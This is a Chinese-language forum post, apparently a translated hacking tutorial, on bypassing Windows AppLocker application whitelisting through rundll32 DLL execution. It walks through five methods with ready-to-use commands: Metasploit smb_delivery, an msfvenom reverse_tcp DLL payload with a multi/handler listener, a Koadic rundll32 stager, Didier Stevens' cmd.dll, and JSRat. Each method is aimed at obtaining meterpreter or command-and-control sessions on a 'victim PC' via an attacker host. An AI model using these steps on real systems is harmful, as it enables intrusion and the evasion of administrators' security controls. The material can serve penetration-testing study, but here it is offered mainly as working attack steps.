taibeihacker
Moderator
0x00 前言
本文演示了白名單AppLocker bypass的最常見和最熟悉的技術。我們知道,出於安全原因,系統管理員添加組策略來限製本地用戶的應用程序執行。在上一篇文章中,我們討論了“Windows Applocker策略 - 初学者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何使用rundll文件繞過AppLocker策略。DLL文件對於Window的操作系統非常重要,它還決定了自定義Windows的其他程序的運行。動態鏈接庫(DLL)文件是一種文件類型,它向其他程序提供有關如何調用某些內容的指令。因此,多個軟件甚至可以同時共享這樣的DLL文件。儘管與.exe文件的格式相同,但DLL文件不能像.exe文件那樣直接執行。 dll文件擴展名可以是:dll(動態鏈接庫)、ocx(ActiveX控件)、cpl(控制面板)、drv(設備驅動程序)
0x01 运行
當AppLocker使用時,DLL文件被分為多個部分。這使得DLL文件的運行變得簡單快捷。每個部分都在運行時安裝在主程序中。由於每個部分都不同且獨立的,所以加載時間更快,並且僅在需要所述文件的功能時才完成。此功能還使升級更容易應用,而不影響其他部分。例如,您有一個字典程序,每個月都會添加新詞,因此,對於這個程序,您所要做的就是更新它;而不需要為它安裝一個完整的另一個程序。1.优点
使用更少的資源促進模塊化架構
簡化部署和安裝
2.缺点
依賴DLL將升級到新版本依賴DLL是固定的
依賴DLL將被早期版本覆蓋
從計算機中刪除依賴dll
0x02 使用DLL文件的AppLocker Bypass的不同方法
Smb_DeliveryMSFVenom
Koadic
通過cmd.dll獲取命令提示符
JSRat
1.第一种方法:SMB Delivery
因此,我們的方法是使用smb_delivery。要使用此方法,請在kali中打開終端並鍵入以下命令:msfconsoleuse exploit/windows/smb/smb_deliverymsf exploit(windows/smb/smb_delivery) set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) exploit
現在,通過Windows計算機中的rundll32.exe運行惡意代碼以獲取meterpreter會話

當上述payload執行時,它將為您提供一個在受害者PC上執行的命令;以便獲得會話。因此,在受害者PC的運行窗口中復制並粘貼指定的命令,如下圖所示:
rundll32.exe\\192.168.1.107\ZtmW\test.dll,0

一旦執行該命令,您將擁有meterpreter會話。要訪問會話類型如下所示:
sessions 1
sysinfo

2.第二种方法:MSFVenom
我們的第二種方法是通過MSFVenom。要使用此方法,請在kali的終端中鍵入以下命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll 1.dll

創建payload後,在受害者PC的運行窗口中運行以下命令:
rundll32shell32.dll,Control_RunDLLC:\Users\raj\Downloads\1.dll

同時,通過輸入以下命令啟動multi/handler以獲取會話,輸入命令:msfconsolemsf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit

3.第三种方法:Koadic
我們的下一個方法是使用Koadic框架。 Koadic是一個Windows後期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework一旦koadic啟動並運行,輸入以下命令:
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run

運行exploit 將獲得一個命令。將該命令從rundll32.exe複製到6.0中,並將其粘貼到受害者pc的命令提示符中。
一旦在cmd中運行了該命令,您將擁有自己的會話。如下圖所示。
要訪問會話,請輸入以下命令:
zombies 0

4.第四种方法:通过cmd.dll获取命令提示符
現在的難題是,如果命令提示在受害者的主機中被阻止,該怎麼做?
如果命令行被阻止,那麼Didier Stevens開發的腳本可以用來解決你的小問題。您可以在以下鏈接中找到它們:
在上面的URL中,您將下載一個zip文件。解壓縮該zip文件並使用以下命令在運行窗口中運行該文件:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll

一旦運行該命令,您將獲得一個未阻止的cmd。如下所示:

5.第五种方法:JSRat
我們攻擊regsvr32的下一個方法是使用jsrat,你可以從GitHub下載它。這是另一個命令和控制框架,類似於koadic和Powershell Empire,僅為rundll32.exe和regsvr32.exe生成惡意程序。 jsrat將創建一個Web服務器,在該Web服務器上,我們將找到.js文件。要使用此方法,請輸入:/JSRat.py -i 192.168.1.107 -p 4444

一旦JSRat開始運行,它將為您提供在瀏覽器中打開的鏈接。該網頁將包含一個要在受害者主機上執行的代碼

因此,請在瀏覽器中打開http://192.168.1.107/wtf鏈接。在那下面你會查看到惡意的代碼,如下圖所示:

在受害者PC的命令提示符中運行該代碼,如下所示:

您將擁有一個會話,如下圖所示:
